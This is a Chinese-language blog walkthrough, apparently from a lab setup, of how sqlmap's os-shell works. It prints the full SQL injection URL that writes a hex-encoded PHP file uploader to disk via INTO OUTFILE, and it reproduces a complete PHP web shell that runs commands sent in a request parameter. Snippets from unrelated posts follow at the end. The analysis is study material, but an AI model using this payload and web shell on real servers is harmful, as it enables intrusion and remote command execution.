    http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -
    解析url(除16进制字符)
    http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...
    解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是将内容输入到outfile中。
    LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。

    解析16进制文件

    如上图,16进制转换为字符串为:

    `

    转换后的代码

    sqlmap file uploader

    to directory:  ";}?>

    格式请自行调整

    显然,16进制为php代码。
    先访问以下tmpulujm.php

    此处主要实现了向服务器传输文件的一个功能。此处简单看下上述文件php语句进行分析。

    实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。学习到一点就是4.1.0的版本下,可直接执行。

    (4)执行命令

    现在我们已经可以上传文件了,但是仔细考虑一下,sqlmap是提供一个os-shell,我们现在只分析到了可以上传文件的步骤。那接下来,还需要在抓取的数据中进行分析。
    在分析数据包中,我看到一个post数据包,从content中看到此数据包是实现了上传一个类似于cmd的一个php文件。

    从上图可以看到,利用tmpulujm.php上传了一个tmpbtfgo.php的文件。将tmpbtfgo.php的内容截取出来,得到了一段php代码。格式请自行调整。

    <?php 
    $c=$_REQUEST["cmd"];
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time',0);
    $z=@ini_get('disable_functions');
    if(!empty($z))
    {
    	$z=preg_replace('/[, ]+/',',',$z);
    	$z=explode(',',$z);
    	$z=array_map('trim',$z);}
    else
    	{
    		$z=array();
    		}
    $c=$c." 2>&1\n";
    function f($n)
    {global $z;
    return is_callable($n)and!in_array($n,$z);
    }
    if(f('system'))
    {ob_start();
    system($c);
    $w=ob_get_contents();
    ob_end_clean();
    }elseif(f('proc_open')){
    	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
        $w=NULL;
        while(!feof($t[1])){
    		$w.=fread($t[1],512);
    	    	}
            @proc_close($y);
    }
        elseif(f('shell_exec')){
    	$w=shell_exec($c);
    	}
    	elseif(f('passthru')){
    		ob_start();
    		passthru($c);
    		$w=ob_get_contents();
    		ob_end_clean();
    		}elseif(f('popen')){
    			$x=popen($c,r);
    			$w=NULL;
    			if(is_resource($x)){
    				while(!feof($x)){
    				$w.=fread($x,512);
    					}
    					}
    					@pclose($x);
    					}elseif(f('exec')){
    						$w=array();
    						exec($c,$w);
    						$w=join(chr(10),$w).chr(10);
    						}else{
    							$w=0;
    							}
    							print "</pre>".$w."</pre>";?>'''
    

    上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。
    因此我们可以在os-shell中执行命令。

    0x04 os-shell的使用

    通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
    很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

    (1)网站必须是root权限

    (2)攻击者需要知道网站的绝对路径

    (3)GPC为off,php主动转义的功能关闭

    此处对于中小型企业,如果自己搭建的服务器,例如直接用wamp或者phpnow等快捷方式搭建的服务器,基本上可以满足以上三个条件。
    同时,对于os-shell的用法,很多的小伙伴会吐槽,都他么能上传了,还搞jb的os-shell了。对的,我们可以直接上传大马进行下一步的工作。当然亦可以上传一句话,然后利用菜刀进行连接。
    此处只是对sqlmap工作原理进行了一顿分析。至于利用方式以及攻击手段,当然有很多种,自行发散思维即可。接下来的工作是直接看下sqlmap的源码,才能理解的更为深刻。

     

     

     

     

     

    展开全文
  • 前言 最近在刷i春秋论坛的帖子,发现论坛首页每天都会推送一些精品文章,但是有时候好几天也没有更新首页的推送,总不能每天都去刷新吧。所以有了这个脚本或称之为小爬虫(如果它能被称为爬虫的话),去爬取精品...
  • 原文来自:看我是如何利用升级系统一键GetShell 漏洞名称:看我是如何利用升级系统一键GetShell 程序下载地址:https://pan.baidu.com/s/1VdoPLqNP6V6aguodza9uQQ 马子文件下载地址:...
  • 下载链接 https://share.weiyun.com/b060b59eaa564d729a9347a580b7e4f2 Refer头注入 全局过滤函数如下 function _RunMagicQuotes(&$svar) { //PHP5.4已经将此函数移除 if(@!... i...
1
收藏数 9
精华内容 3
关键字:

phpmywind拿shell